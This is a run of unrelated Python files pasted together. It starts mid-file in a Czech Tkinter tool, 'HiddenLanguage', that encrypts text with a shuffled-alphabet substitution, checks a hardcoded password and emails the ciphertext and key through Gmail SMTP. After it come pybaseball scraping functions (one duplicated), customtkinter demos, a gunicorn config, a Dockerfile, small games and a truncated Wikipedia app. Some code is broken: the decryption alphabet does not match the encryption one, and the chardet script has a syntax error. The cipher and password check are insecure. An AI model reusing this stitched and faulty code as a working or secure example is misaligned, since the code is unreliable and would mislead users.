<p style="text-align: center;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Soubor ke stažen&iacute;: <a href="https://www.mediafire.com/file/blnje4ut0ped9pi/HiddenLanguage.exe/file" target="_blank" rel="noopener noreferrer">MediaFire Download</a><br></strong></span></p>
<div style="color: red;"><br></div>
"""

            # Vytvoření instance MIMEText pro HTML obsah
            html_part = MIMEText(html_message, 'html')

            # Vytvoření multipart zprávy
            msg = MIMEMultipart()
            msg['From'] = sender_email
            msg['To'] = receiver_email
            msg['Subject'] = subject

            # Přidání HTML části do multipart zprávy
            msg.attach(html_part)


            # Přidání přílohy dm_heslo.txt
            with open(nazev_souboru, 'rb') as file:
                attachment = MIMEBase('application', 'octet-stream')
                attachment.set_payload(file.read())
                encoders.encode_base64(attachment)
                attachment.add_header('Content-Disposition', 'attachment', filename=nazev_souboru)
                msg.attach(attachment)

            # Přidání přílohy screenshot.png
            with open("sifrovani.txt", 'rb') as file:
                attachment = MIMEBase('application', 'octet-stream')
                attachment.set_payload(file.read())
                encoders.encode_base64(attachment)
                attachment.add_header('Content-Disposition', 'attachment', filename='sifrovani.txt')
                msg.attach(attachment)

            # Odeslání e-mailu
            server = smtplib.SMTP('smtp.gmail.com', 587)
            server.starttls()
            server.login(odesilatel, sender_password)
            server.send_message(msg)
            server.quit()
        # Tady se dělá práce
        def Sifrovani(zprava_ke_skryti,nazev_souboru):
            abeceda = 'ABCDEFGHIJKLMNOPQRSTUVWXYabcdefghijklmnopqrstuvwxyz123456789ěščřžýáíé'
            nova_abeceda = ''.join(random.sample(abeceda, len(abeceda)))

            # Uložení šifrace

            with open(nazev_souboru, "w") as file:
                file.write(nova_abeceda)
            # Konec ukládání

            prevodni_tabulka = str.maketrans(abeceda, nova_abeceda)
            global sifrovany_text
            sifrovany_text = zprava_ke_skryti.translate(prevodni_tabulka)

            with open("sifrovani.txt", "w") as file:
                file.write(sifrovany_text)

        sifrovani_okno.mainloop()

    def tlacitko_klik_desif():
        desifrovani_okno = tk.Tk()
        desifrovani_okno.geometry("1920x1080")
        desifrovani_okno.title("Dešifrování")
        menu.destroy()

        nazev = tk.Label(desifrovani_okno ,text="Dešifrování", font=("Arial", 30,"bold"))
        nazev.pack()

        zasifr_text = tk.Label(desifrovani_okno, text="Níže napište zprávu, jenž chcete dešifrovat.", font=("Arial", 15))
        zasifr_text.pack()


        textbox_obsah = tk.Text(desifrovani_okno, height=10, width=50, font=("Arial", 15))
        textbox_obsah.pack(pady=20)


        textbox_kod_label = tk.Label(desifrovani_okno,text="Zadejte dešifrovací kod v příloze (ten bez mezer)",font=("Arial",13))
        textbox_kod_label.pack(pady=5)
        textbox_kod = tk.Text(desifrovani_okno,height=2, width=20,font=("Arial",15))
        textbox_kod.pack()

        def Redirect():
            zasifrovany_text_textbox = textbox_obsah.get("1.0", "end-1c")
            textbox_kod_obsah = textbox_kod.get("1.0", "end-1c")
            Desifrovani(zasifrovany_text_textbox,textbox_kod_obsah)


        tlacitko_desifrovani = tk.Button(desifrovani_okno,text="Dešifrovat zprávu",command=Redirect,height=1,width=15,font=("Arial",15),bg="blue",fg="white")
        tlacitko_desifrovani.pack(pady=20)

        output_label = tk.Label(desifrovani_okno,text="Obsah dešifrované zprávy",font=("Arial",15))
        output_label.pack(pady=5)
        output = tk.Text(desifrovani_okno,height=10,width=50,font=("Arial",15))
        output.pack()


        def Desifrovani(zasifrovany_text,zasifrovany_kod):
            sifrovana_abeceda = zasifrovany_kod

            def create_decryption_map(original_alphabet, shuffled_alphabet):
                decryption_map = {}
                for orig_char, shuffled_char in zip(original_alphabet, shuffled_alphabet):
                    decryption_map[shuffled_char] = orig_char
                return decryption_map

            # Příklad použití:
            original_alphabet = 'ABDCEFGHIJKLMNOPQRSTUVWXYabcdefghijklmnopqrstuvwxyz123456789ěščřžýáíé#@!§'
            shuffled_alphabet = sifrovana_abeceda

            decryption_map = create_decryption_map(original_alphabet, shuffled_alphabet)

            # Dešifrování zprávy
            encrypted_message = zasifrovany_text
            decrypted_message = "".join(decryption_map.get(char, char) for char in encrypted_message)
            obsah_desifrovane_zpravy = decrypted_message

            output.delete("1.0", "end")  # Vymažeme obsah textového pole
            output.insert("1.0", obsah_desifrovane_zpravy)  # Vložíme dešifrovanou zprávu do textového pole







        #Tady budou věci po checkboxech
        desifrovani_okno.mainloop()





    def navraceni_do_menu():
        menu.destroy()
        Uvodni_menu()

    prostor_button = tk.Frame(menu)
    prostor_button.columnconfigure(0,weight=10)
    prostor_button.columnconfigure(1,weight=10)
    prostor_button.columnconfigure(2,weight=10)

    tlacitko_sif = tk.Button(prostor_button,text="Šifrovat", command=tlacitko_klik_sif,font=("Arial",15,"bold"),width=50,height=4,bg="red", fg="white",activebackground="orange",activeforeground="black")
    tlacitko_sif.grid(row=0,column=0,sticky=tk.W+tk.E)

    tlacitko_desif = tk.Button(prostor_button,text="Dešifrovat", command=tlacitko_klik_desif,font=("Arial",15,"bold"),width=50,height=4,bg="green", fg="white",activebackground="yellow",activeforeground="black")
    tlacitko_desif.grid(row=1,column=0,sticky=tk.W+tk.E)


    tlacitko_menu = tk.Button(prostor_button, text="Zpět do menu", command=navraceni_do_menu, font=("Arial", 15, "bold"),width=50,height=4,
                               bg="purple", fg="white", activebackground="pink",
                               activeforeground="black")
    tlacitko_menu.grid(row=2,column=0,sticky=tk.W+tk.E)

    prostor_button.pack(pady=100)
    #(x=600, y=100, width=100, height=100)

    menu.mainloop()

def Uvodni_menu():
    # Vytvoření okna
    global okno
    okno = tk.Tk()
    okno.geometry("800x500")
    okno.title("HiddenLanguage")

    # widget s časem
    def update_time():
        current_time = time.strftime("%d.%m.%Y %H:%M:%S")  # Formát času (hodiny:minuty:sekundy)
        time_label.config(text=current_time)
        okno.after(1000, update_time)  # Znovu spustit funkci každou sekundu (1000 ms)


    # Vytvoření tlačítka
    nazev = tk.Label(okno, text="\n" + "HiddenLanguage", font=("Arial", 30, "bold"))
    nazev.pack()

    informace = tk.Label(okno,
                         text="Tento program umí šifrovat a dešifrovat zprávy." + "\n" + "Zašifrované zprávy může odeslat jakékoliv určené osobě na mail." + "\n" + "Více informací naleznete na kubasobr.blogspot.com" + "\n" + "Original HiddenLanguage, all rights reserved",
                         font=("Arial", 12))
    informace.pack()

    tlacitko = tk.Button(okno, text="Klikněte pro start!", command=tlacitko_klik, font=("Arial", 25, "bold"), height=5,
                         width=24, bg="blue", fg="white", activebackground="aqua", activeforeground="black")
    tlacitko.pack(padx=50, pady=20)

    #WiDGET S AKTUÁLNÍM ČASEM CO SE AKTUALIZUJE PO 1s
    time_label = tk.Label(okno, font=("Helvetica", 24), bg="light gray")
    time_label.pack(fill=tk.BOTH, expand=True)
    update_time()


    # Spuštění smyčky událostí (main loop)
    okno.mainloop()

def Prihlaseni():
    def update_time():
        current_time = time.strftime("%d.%m.%Y %H:%M:%S")  # Formát času (hodiny:minuty:sekundy)
        time_label.config(text=current_time)
        prihlaseni.after(1000, update_time)  # Znovu spustit funkci každou sekundu (1000 ms)
    prihlaseni = tk.Tk()
    prihlaseni.geometry("800x700")
    prihlaseni.title("HiddenLanguage")

    def tlacitko_klik():
        heslo = entry_password.get()  # Získání zadaného hesla
        if heslo == "kubasobr4":  # Nahraďte "SECRET_PASSWORD" vaším tajným heslem
            label_error.config(text="Zadali jste správné heslo.",font=("Arial",10),fg="blue")
            prihlaseni.destroy()
            # ... Pokračování s vaším kódem ...
        else:
            label_error.config(text="Neplatné heslo, zkuste to znovu.")  # Nastavení chybového textu
            entry_password.delete(0, tk.END)  # Vymazání pole pro zadání hesla

    def tlacitko_stisk_klavesy(event):
        tlacitko_klik()

    # Zobrazení výzvy pro vstup hesla
    label = tk.Label(prihlaseni, text="Vítejte v aplikaci HiddenLanguage", font=("Arial", 30, "bold"))
    label.pack(pady=50)

    label_password = tk.Label(prihlaseni, text="Zadejte heslo:", font=("Arial", 20))
    label_password.pack()

    entry_password = tk.Entry(prihlaseni, font=("Arial", 20), show="*")
    entry_password.pack(pady=20)

    button = tk.Button(prihlaseni, text="Potvrdit", font=("Arial", 20), command=tlacitko_klik)
    button.pack(pady=30)

    label_error = tk.Label(prihlaseni, text="", font=("Arial", 15), fg="red")
    label_error.pack()

    entry_password.bind("<Return>", tlacitko_stisk_klavesy)

    time_label = tk.Label(prihlaseni, font=("Helvetica", 24), bg="light gray")
    time_label.pack(fill=tk.BOTH, expand=True)
    update_time()
    prihlaseni.mainloop()
    Uvodni_menu()





Prihlaseni()
Uvodni_menu()
def schedule_and_record(season=None, team=None):
    # retrieve html from baseball reference
    # sanatize input
    team = team.upper()
    try:
        if season &lt; first_season_map[team]:
            m = "Season cannot be before first year of a team's existence"
            raise ValueError(m)
    # ignore validation if team isn't found in dictionary
    except KeyError:
        pass
    if season &gt; datetime.now().year:
        raise ValueError('Season cannot be after current year')

    soup = get_soup(season, team)
    table = get_table(soup, team)
    table = process_win_streak(table)
    table = make_numeric(table)
    return table
def statcast_batter(start_dt=None, end_dt=None, player_id=None):
    """
    Pulls statcast pitch-level data from Baseball Savant for a given batter.

    ARGUMENTS
    start_dt : YYYY-MM-DD : the first date for which you want a player's statcast data
    end_dt : YYYY-MM-DD : the final date for which you want data
    player_id : INT : the player's MLBAM ID. Find this by calling pybaseball.playerid_lookup(last_name, first_name), finding the correct player, and selecting their key_mlbam.
    """
    start_dt, end_dt, player_id = sanitize_input(start_dt, end_dt, player_id)
    # inputs are valid if either both or zero dates are supplied. Not valid of only one given.
    if start_dt and end_dt:
        url = 'https://baseballsavant.mlb.com/statcast_search/csv?all=true&hfPT=&hfAB=&hfBBT=&hfPR=&hfZ=&stadium=&hfBBL=&hfNewZones=&hfGT=R%7CPO%7CS%7C=&hfSea=&hfSit=&player_type=batter&hfOuts=&opponent=&pitcher_throws=&batter_stands=&hfSA=&game_date_gt={}&game_date_lt={}&batters_lookup%5B%5D={}&team=&position=&hfRO=&home_road=&hfFlag=&metric_1=&hfInn=&min_pitches=0&min_results=0&group_by=name&sort_col=pitches&player_event_sort=h_launch_speed&sort_order=desc&min_abs=0&type=details&'
        df = split_request(start_dt, end_dt, player_id, url)
        return df
def statcast_batter(start_dt=None, end_dt=None, player_id=None):
    """
    Pulls statcast pitch-level data from Baseball Savant for a given batter.

    ARGUMENTS
    start_dt : YYYY-MM-DD : the first date for which you want a player's statcast data
    end_dt : YYYY-MM-DD : the final date for which you want data
    player_id : INT : the player's MLBAM ID. Find this by calling pybaseball.playerid_lookup(last_name, first_name), finding the correct player, and selecting their key_mlbam.
    """
    start_dt, end_dt, player_id = sanitize_input(start_dt, end_dt, player_id)
    # inputs are valid if either both or zero dates are supplied. Not valid of only one given.
    if start_dt and end_dt:
        url = 'https://baseballsavant.mlb.com/statcast_search/csv?all=true&hfPT=&hfAB=&hfBBT=&hfPR=&hfZ=&stadium=&hfBBL=&hfNewZones=&hfGT=R%7CPO%7CS%7C=&hfSea=&hfSit=&player_type=batter&hfOuts=&opponent=&pitcher_throws=&batter_stands=&hfSA=&game_date_gt={}&game_date_lt={}&batters_lookup%5B%5D={}&team=&position=&hfRO=&home_road=&hfFlag=&metric_1=&hfInn=&min_pitches=0&min_results=0&group_by=name&sort_col=pitches&player_event_sort=h_launch_speed&sort_order=desc&min_abs=0&type=details&'
        df = split_request(start_dt, end_dt, player_id, url)
        return df
def statcast_pitcher(start_dt=None, end_dt=None, player_id=None):
    """
    Pulls statcast pitch-level data from Baseball Savant for a given pitcher.

    ARGUMENTS
    start_dt : YYYY-MM-DD : the first date for which you want a player's statcast data
    end_dt : YYYY-MM-DD : the final date for which you want data
    player_id : INT : the player's MLBAM ID. Find this by calling pybaseball.playerid_lookup(last_name, first_name), finding the correct player, and selecting their key_mlbam.
    """
    start_dt, end_dt, player_id = sanitize_input(start_dt, end_dt, player_id)

    # inputs are valid if either both or zero dates are supplied. Not valid of only one given.
    if start_dt and end_dt:
        url = 'https://baseballsavant.mlb.com/statcast_search/csv?all=true&hfPT=&hfAB=&hfBBT=&hfPR=&hfZ=&stadium=&hfBBL=&hfNewZones=&hfGT=R%7CPO%7CS%7C=&hfSea=&hfSit=&player_type=pitcher&hfOuts=&opponent=&pitcher_throws=&batter_stands=&hfSA=&game_date_gt={}&game_date_lt={}&pitchers_lookup%5B%5D={}&team=&position=&hfRO=&home_road=&hfFlag=&metric_1=&hfInn=&min_pitches=0&min_results=0&group_by=name&sort_col=pitches&player_event_sort=h_launch_speed&sort_order=desc&min_abs=0&type=details&'
        df = split_request(start_dt, end_dt, player_id, url)
        return df
class App(CTk):
    def __init__(self):
        super().__init__()

        self.button = CTkButton(
            self, text="Blogs", #Text to be displayed
            fg_color="#ec3642", #color of the button
            hover_color="white", #color of the button when mouse is over
            font=("Montserrat", 16), #font used
            corner_radius=12, width=100, #radius of edges and total width
            command=self.open) #Command to run when button is clicked
        self.button.pack(padx = 10, pady = 10)

    def open(self):
        import webbrowser #library to open a specific URL
        # Opening the given link.
        webbrowser.open("https://python-hub.com/blog-2/")

if __name__ == "__main__":
    app = App()
    app.mainloop()
from customtkinter import *

app = CTk()

button = CTkButton(app)
button.pack(padx = 10, pady = 10)

app.mainloop()

# In OOP
class App(CTk):
    def __init__(self):
        super().__init__()

        self.button = CTkButton(self)
        self.button.pack(padx = 10, pady = 10)

        
if __name__ == "__main__":
    app = App()
    app.mainloop()
#Python

from pathlib import Path
import shutil
import chardet


# region - FUN - detect_encoding

# ----------------------------------------------------------------------------------------------

def detect_encoding(dfn):



    with open(dfn, 'rb') as f_csv:

        chardet_result = chardet.detect(f_csv.read())

        chardet_encoding = chardet_result.get('encoding')

        chardet_confidence = chardet_result.get('confidence')

        Watch.Log(chardet_confidence, 2)

        return chardet_encoding

# ----------------------------------------------------------------------------------------------

# endregion - FUN - detect_encoding

job_file = Watch.ExpandString("%F")
encoding = detect_encoding(job_file)

#Watch.Log(f"detected encoding: {encoding}", 2)

temp = Watch.ExpandString("%ttemp.csv")
#Watch.Log(temp, 2)

#with open(Watch.ExpandString("%F"), 'rb', encoding=encoding) as temp_csv:
with open(Watch.ExpandString("%F"), 'rb') as temp_csv:

    content = temp_csv.readlines()

    for line in content:
        #encoding = detect_encoding(line)
        Watch.Log(f"{'*'*100}\n{line}", 2)
        Watch.Log(f'utf-8...{line.decode("utf-8")}', 2)

        chardet_result = chardet.detect(line)

        chardet_encoding = chardet_result.get('encoding')

        chardet_confidence = chardet_result.get('confidence')

        Watch.Log(f"Enc...{chardet_encoding}", 2)
        Watch.Log(f"Con...{chardet_confidence}", 2)
        Watch.Log(f"New...{str(line).encode('utf-8').decode('utf-8')}\n", 2)
        #Watch.Log(f"{'~'*100}\n{line}", 2)


with open(temp, 'w') as output:

    output.write(content.decode("utf-8")


#Path(job_file).unlink()
#shutil.move(temp, job_file)
# Configuration file for `gunicorn` command.
# 1) Set the settings in this file.
# 2) Run `gunicorn` from the terminal in the directory containing this file

import multiprocessing
import os

from dotenv import load_dotenv

load_dotenv()

# Get the `ENVIRONMENT` env variable and convert it to lowercase if it exists
environment = os.getenv("ENVIRONMENT")
environment = environment.lower() if environment else "dev"


# Gunicorn app
# Tell Gunicorn which application to run
wsgi_app = "app.main:app"

# Requests
# Restart workers after so many requests, with some variability.
max_requests = 1000
max_requests_jitter = 50

# Logging
# Use stdout for logging
log_file = "-"

# The IP address and port to accept requests on
bind = "0.0.0.0:8000"

# Use this formula for production, otherwise only run 2 workers
workers = (
    multiprocessing.cpu_count() * 2 + 1
    if environment in ["prod", "production"]
    else 2
)
worker_class = "uvicorn.workers.UvicornWorker"
print('Hello World')
print('Helldzscdzdfsd')
FROM python:3.11-slim


# Create a non-root user to run the app as
RUN addgroup --system app && adduser --system --group app

# Environment variables
ENV PYTHONUNBUFFERED=1 \
    PYTHONDONTWRITEBYTECODE=1 \
    PIP_NO_CACHE_DIR=off \
    PIP_DISABLE_PIP_VERSION_CHECK=on \
    PIP_DEFAULT_TIMEOUT=100 \
    POETRY_VIRTUALENVS_IN_PROJECT=true \
    # Set Poetry to NOT install the dependencies into a virtual environment, instead install them into the system's Python environment
    POETRY_VIRTUALENVS_CREATE=false \
    POETRY_NO_INTERACTION=1 \
    PYTHONPATH=${PYTHONPATH}:${PWD}

# Make a directory for the project
RUN mkdir /app

# Change to the `/app` directory
WORKDIR /app

# Copy the project files over to the container
COPY pyproject.toml /app
COPY . /app

# Chown all the files to the app user
RUN chown -R app:app /app

# Install Poetry
RUN pip3 install poetry

# Export the Poetry pack list to another format
RUN poetry export -f requirements.txt > requirements.txt

# Install the Python dependencies
RUN poetry install --only main

# Become the `app` user
USER app

# Expose port 8000 on the container
EXPOSE 8000

#CMD ["poetry", "run", "gunicorn"]
CMD ["gunicorn"]
# A GUI real time spell checker.
# for removing special characters
import re
# for GUI
from tkinter import scrolledtext
import tkinter as tk
from customtkinter import *
# for matching words
import nltk
from nltk.corpus import words

nltk.download("words")
class SpellingChecker(CTk):
    def __init__(self):
        super().__init__()
        self.title("Spelling Checker")
        self.geometry("600x500")

        # Creating a widget to let user type
        self.text_area = scrolledtext.ScrolledText(self,
                                      wrap = tk.WORD, 
                                      width = 70, 
                                      height = 27, 
                                      font = ("Times New Roman",
                                              15))
        # To check the spellings whenever any key is released.
        self.text_area.bind("<KeyRelease>", self.check)
        self.text_area.grid(column = 0, pady = 10, padx = 10)
        # keeping track of spaces.
        self.old_spaces = 0
    
    def check(self, event):
        # getting whole content typed by user
        content = self.text_area.get("1.0", tk.END)
        # counting spaces
        space_count = content.count(" ")

        # checks spelling only if the space key was pressed.
        if space_count != self.old_spaces: #checking if there are anymore spaces.
            self.old_spaces = space_count #updating the new no. of spaces.

            # removing any red highlights if there
            for tag in self.text_area.tag_names():
                self.text_area.tag_delete(tag)

            # getting all the words
            for word in content.split(" "):
                # removinga any special characters if there
                if re.sub(r"[^\w]", '', word.lower()) not in words.words():
                    # getting the starting position of incorrect word
                    position = content.find(word)
                    # marking wrong spelling red
                    self.text_area.tag_add(word, f"1.{position}", f"1.{position + len( word)}")
                    self.text_area.tag_config(word, foreground="red")


if __name__ == "__main__":
    si = SpellingChecker()
    si.mainloop()
from customtkinter import *
from PIL import Image

class Fooled(CTkToplevel):
    """A custom Tkinter Toplevel window to display a text label and a GIF image of Jerry from the 'Tom and Jerry' cartoon."""
    def __init__(self):
        """Initialize the Fooled Toplevel window."""
        super().__init__()
        self.title("")
        set_appearance_mode("light")
        self.geometry("250x250")
        
        self.label = CTkLabel(self, text="Idk, just look outside🤣")
        self.label.pack()
        self.forward_img = CTkImage(light_image=Image.open("images\\jerry.gif"), size=(199,199))
        self.front = CTkLabel(self, text="", image=self.forward_img)
        self.front.pack()


class ShowWhether(CTkToplevel):
    """A custom Tkinter Toplevel window that simulates a weather forecast process with text labels and a progress bar."""
    def __init__(self):
        """Initialize the ShowWhether Toplevel window."""
        super().__init__()
        self.title("AI weather forecast")
        set_appearance_mode("light")
        self.geometry("300x140")

        self.label = CTkLabel(self, text="Searching Location...")
        self.label.grid(row=0, padx=20, pady=20)

        self.label.after(1000, self.on_after)
        self.pb = CTkProgressBar(self, orientation="horizontal", mode="determinate")
        self.pb.grid(row=1, padx=20, pady=20)
        self.pb.set(0)
    def on_after(self):
        """Update the label text and progress bar after a delay."""
        self.label = CTkLabel(self, text="Analyzing the clouds...")
        self.label.grid(row=0, padx=20, pady=20)
        self.label.after(1000, self.on_after1)
        self.pb.set(0.25)

    def on_after1(self):
        """Update the label text and progress bar after a delay."""
        self.label = CTkLabel(self, text="Looking outside your window...")
        self.label.grid(row=0, padx=20, pady=20)
        self.label.after(1000, self.on_after2)
        self.pb.set(0.50)

    def on_after2(self):
        """Update the label text and progress bar after a delay."""
        self.label = CTkLabel(self, text="Gathering last the information...")
        self.label.grid(row=0, padx=20, pady=20)
        self.label.after(1000, self.last)
        self.pb.set(0.75)

    def last(self):
        """Finalize the weather forecast process and display the Fooled Toplevel window."""
        self.pb.set(1)
        show = Fooled()
        show.mainloop()


class Get_City(CTk):
    """A custom Tkinter main application class to get the user's location and initiate the weather forecast."""
    def __init__(self):
        """Initialize the Get_City application."""
        super().__init__()
        set_appearance_mode("light")
        self.title("AI weather forecast")

        self.geometry("400x175")
        self.label = CTkLabel(self, text="Enter your Location: ")
        self.label.pack(padx=20, pady=15)
        self.city = CTkEntry(self, placeholder_text="Enter Your city ")
        self.city.pack(padx=20, pady=10)

        self.check_weather = CTkButton(self, text="Check weather", command=self.weather)
        self.check_weather.pack(padx=20, pady=10)

    def weather(self):
        """Check if the city input is valid and initiate the weather forecast process."""
        if self.city.get() == "":
            print("Enter a city First")
        else:
            show = ShowWhether()
            show.mainloop()
if __name__ == "__main__":
    app = Get_City()
    app.mainloop()
import os
import numpy as np

class Game:
    def __init__(self):
        """Initialize a new Tic-Tac-Toe game with an empty game board."""
        self.game_arr = np.array([
                            [" ", " ", " "],
                            [" ", " ", " "],
                            [" ", " ", " "]
                         ])
        
    def update(self, row, column, new_val):
        """
        Update the game board with the player's move at the specified position.

        Parameters:
            row (int): The row index of the move.
            column (int): The column index of the move.
            new_val (str): The value of the player's move ("X" or "O").

        Raises:
            ValueError: If the new_val is not a valid move ("X" or "O").
        """
        valid = ["X", "x", "O", "o"]
        if new_val in valid:
            self.game_arr[row][column] = new_val
            self.make_grid(self.game_arr)
        else:
            print("Invalid Value!!")

    
    def make_grid(self,arr):
        """
        Display the current Tic-Tac-Toe game board.

        Parameters:
            arr (numpy.array): The 3x3 numpy array representing the game board.
        """
        print(f"""
{arr[0][0]} | {arr[0][1]} | {arr[0][2]}
----------
{arr[1][0]} | {arr[1][1]} | {arr[1][2]}
----------
{arr[2][0]} | {arr[2][1]} | {arr[2][2]}
""")

    def get_current_game(self):
        """
        Get the current state of the Tic-Tac-Toe game board.

        Returns:
            numpy.array: The 3x3 numpy array representing the game board.
        """
        return self.game_arr 
      
    def check_win(self, arr):
        """
        Check if there is a winning combination on the game board.

        Parameters:
            arr (numpy.array): The 3x3 numpy array representing the game board.

        Returns:
            list or False: If there is a winning combination, returns [True, "X"/"O"].
                           Otherwise, returns False.
        """
        res_r = self.check_row(arr)
        if not res_r:
            res_c = self.check_col(arr)
            if not res_c:
                res_d = self.check_diag(arr)
                if not res_d:
                    return False
                else:
                    return [True,res_d[1]]
            else:
                return [True,res_c[1]]
        else:
            return [True,res_r[1]]

    
    def check_row(self, arr):
        """
        Check if any row on the game board has a winning combination.

        Parameters:
            arr (numpy.array): The 3x3 numpy array representing the game board.

        Returns:
            list or False: If there is a winning row, returns [True, "X"/"O"].
                           Otherwise, returns False.
        """
        # This shouldn't be hard-coded, but
        # I am doing it to save time
        for i in arr:
            if i[0] == i[1] == i[2] != " ":
                return [True,i[0]]
        return False
        
    def check_col(self, arr):
        """
        Check if any column on the game board has a winning combination.

        Parameters:
            arr (numpy.array): The 3x3 numpy array representing the game board.

        Returns:
            list or False: If there is a winning column, returns [True, "X"/"O"].
                           Otherwise, returns False.
        """
        # This shouldn't be hard-coded, but
        # I am doing it to save time
        for i in range(3):  # Assuming it's a 3x3 grid
            if arr[0][i] == arr[1][i] == arr[2][i] != " ":
                return [True, arr[0][i]]
        return False
    
    def check_diag(self, arr):
        """
        Check if any diagonal on the game board has a winning combination.

        Parameters:
            arr (numpy.array): The 3x3 numpy array representing the game board.

        Returns:
            list or False: If there is a winning diagonal, returns [True, "X"/"O"].
                           Otherwise, returns False.
        """
        # This shouldn't be hard-coded, but
        # I am doing it to save time
        if arr[0][0] == arr[1][1] == arr[2][2] != " ":
            return [True,arr[0][0]]
        elif arr[0][2] == arr[1][1] == arr[2][0] != " ":
            return [True,arr[0][2]]
        else:
            return False
        
    def check_tie(self, arr) -> bool:
        """
        Check if the game has ended in a tie (draw).

        Parameters:
            arr (numpy.array): The 3x3 numpy array representing the game board.

        Returns:
            bool: True if the game is a tie, False otherwise.
        """
        if " " in arr:
            return False
        else:
            return True
        
    def game_details(self):
        print("Enter your choice according to this: ")
        print("1. Top Left")
        print("2. Top Center")
        print("3. Top Right")
        print("4. Center Left")
        print("5. Center Center")
        print("6. Center Right")
        print("7. Bottom Left")
        print("8. Bottom Center")
        print("9. Bottom Right")


        
g = Game()
win = False
map_dict = {
            1:[0,0], 2:[0,1], 3:[0,2],
            4:[1,0], 5:[1,1], 6:[1,2],
            7:[2,0], 8:[2,1], 9:[2,2],
        }
players = {"O":"Player1", "X":"Player2"}
choices = []

while not win:
    g.game_details()
    g.make_grid(g.get_current_game())
    # getting input from player 1
    player1 = int(input("Player 1 Enter the Choice(1-9): "))
    # Checking if it's already taken
    while player1 in choices:
        print("Make another choice! It's already Taken!")
        player1 = int(input("Player 2 Enter the Choice(1-9): "))
    # updating according to the player1's choice
    g.update(map_dict[player1][0], map_dict[player1][1], "O")
    # Checking for tie
    if g.check_tie(g.get_current_game()):
        os.system('cls' if os.name == 'nt' else 'clear')
        g.make_grid(g.get_current_game())
        print("It's a tie!")
        break
    # checking if player 1 won
    check = g.check_win(g.get_current_game())
    try:
        if check[0]==True:
            os.system('cls' if os.name == 'nt' else 'clear')
            g.make_grid(g.get_current_game())
            print(f"{players[check[1]]} wins")
            win=True
            break
    except Exception:
        pass

    g.make_grid(g.get_current_game())
    choices.append(player1)
    # getting input from player 2
    player2 = int(input("Player 2 Enter the Choice(1-9): "))
    # Checking if it's already taken
    while player2 in choices:
        print("Make another choice! It's already Taken!")
        player2 = int(input("Player 2 Enter the Choice(1-9): "))
    # updating according to the player2's choice
    g.update(map_dict[player2][0], map_dict[player2][1], "X")
    # Checking for tie
    if g.check_tie(g.get_current_game()):
        os.system('cls' if os.name == 'nt' else 'clear')
        g.make_grid(g.get_current_game())
        print("It's a tie!")
        break
    # checking if player 2 won
    check2 = g.check_win(g.get_current_game())
    try:
        if check2[0]==True:
            os.system('cls' if os.name == 'nt' else 'clear')
            g.make_grid(g.get_current_game())
            print(f"{players[check2[1]]} wins")
            win=True
            break
    except Exception:
        pass
    g.make_grid(g.get_current_game())
    choices.append(player2)
from customtkinter import *
from PIL import Image
 
class App(CTk):
    def __init__(self):
        super().__init__()
        self.title("Personal Gallery")
        self.iconbitmap("images\\gallery.ico")  
        self.configure(fg_color="#181b1f")
 
        # setting up counter and images
        self.counter = 0
        # getting all the images in a list
        # If you have a lot of them, I suggest store them in a different file
        self.images = [CTkImage(light_image=Image.open("images\\forest.jpg"),size=(496.9,331.3)), 
                       CTkImage(light_image=Image.open("images\\moon.jpg"),size=(390.6,260.4)), 
                       CTkImage(light_image=Image.open("images\\mountain.jpg"),size=(654.1,436.1)), 
                       CTkImage(light_image=Image.open("images\\stone.jpg"),size=(593.7,416)), 
                       CTkImage(light_image=Image.open("images\\tree.jpg"),size=(624,416))]
         
        # images for buttons (forward and backward buttons)
        self.forward_img = CTkImage(light_image=Image.open("images\\forward.png"), size=(50,50))
        self.backward_img = CTkImage(light_image=Image.open("images\\backward.png"), size=(50,50))
 
        # label to show images
        self.il = CTkLabel(self,text="",image=self.images[self.counter])
        self.il.grid(row=0, column=0, columnspan=3, padx=10, pady=10)
 
        # buttons
        self.front = CTkButton(self, text="", image=self.forward_img, fg_color="transparent", hover_color="#181b1f", command=self.next_command)
        self.back = CTkButton(self, text="", image=self.backward_img, fg_color="transparent", hover_color="#181b1f", command=self.previous)
 
        self.front.grid(row=1, column=2, padx=10, pady=10)
        self.back.grid(row=1, column=0, padx=10, pady=10)
 
        # exit button
        self.qb = CTkButton(self, text="Exit", fg_color="red", hover_color="pink", text_color="white", command=self.quit)
        self.qb.grid(row=1, column=1, padx=10, pady=10)
 
        # status bar
        self.status = CTkLabel(self, text=f"Image {self.counter + 1} of {len(self.images)}")
        self.status.grid(row=2, column=2, padx=25)
 
    def next_command(self):
        # To keep counter from being more than 4
        # (4+1)%5 = 0
        # ensures cycle
        self.counter = (self.counter + 1) % len(self.images)
        self.update()
 
    def previous(self):
        # To keep counter from being less than 0
        # (0-1)%5 = 4
        # ensures cycle
        self.counter = (self.counter - 1) % len(self.images)
        self.update()
 
    def update(self):
        # removes label from the grid
        self.il.grid_forget()
        # updating image
        self.il = CTkLabel(self,text="",image=self.images[self.counter])
        self.il.grid(row=0, column=0, columnspan=3, padx=10, pady=10)
 
        # updating status bar
        self.status = CTkLabel(self, text=f"Image {self.counter + 1} of {len(self.images)}")
        self.status.grid(row=2, column=2, padx=25)
 
if __name__ == '__main__':
    app = App()
    app.mainloop()
import requests
import wikipedia
from customtkinter import *
from tkinter import Label
import tkinter.messagebox as messagebox
import tkinter.font as tkfont
import webbrowser


class WikipediaArticle(CTk):
    def __init__(self):
        """Initialize the WikipediaArticle application."""
        super().__init__()
        # font for link
        self.custom_font = tkfont.Font(size=10, underline=True)
        # setting an empty label to avoid errors
        self.link = CTkLabel(self, text="")
        # button for generating random article
        self.get_article = CTkButton(self, text="Random Stuff", command=self.random_article_t_summary)
        self.get_article.grid(row=3, column=1 ,padx=10,pady=10)
        # button to copy article link
        self.copy_t = CTkButton(self, text="Copy Link", command=self.copy_text, fg_color="transparent")
        self.copy_t.grid(row=3, column=2 ,padx=10,pady=10)
        # button to open link in browser
        self.open_i = CTkButton(self, text="Open in browser", command=self.open_link)
        self.open_i.grid(row=3, column=0 ,padx=10,pady=10)

    def random_article_t_summary(self):
        """Generate a random Wikipedia article and display its title, summary, and link.
        uses the self.summarize_wikipedia_article() method"""
        url = requests.get("https://en.wikipedia.org/wiki/Special:Random")
        
        article_link = url.url
        title_and_summary = self.summarize_wikipedia_article(article_link)

        if title_and_summary:
            # getting link and title
            self.link = Label(self, text=article_link, fg="blue", font=self.custom_font)
            self.title = CTkLabel(self, text=title_and_summary[0])
            # getting summary
            self.random_article = CTkTextbox(self)
            self.random_article.insert("0.0", title_and_summary[1])
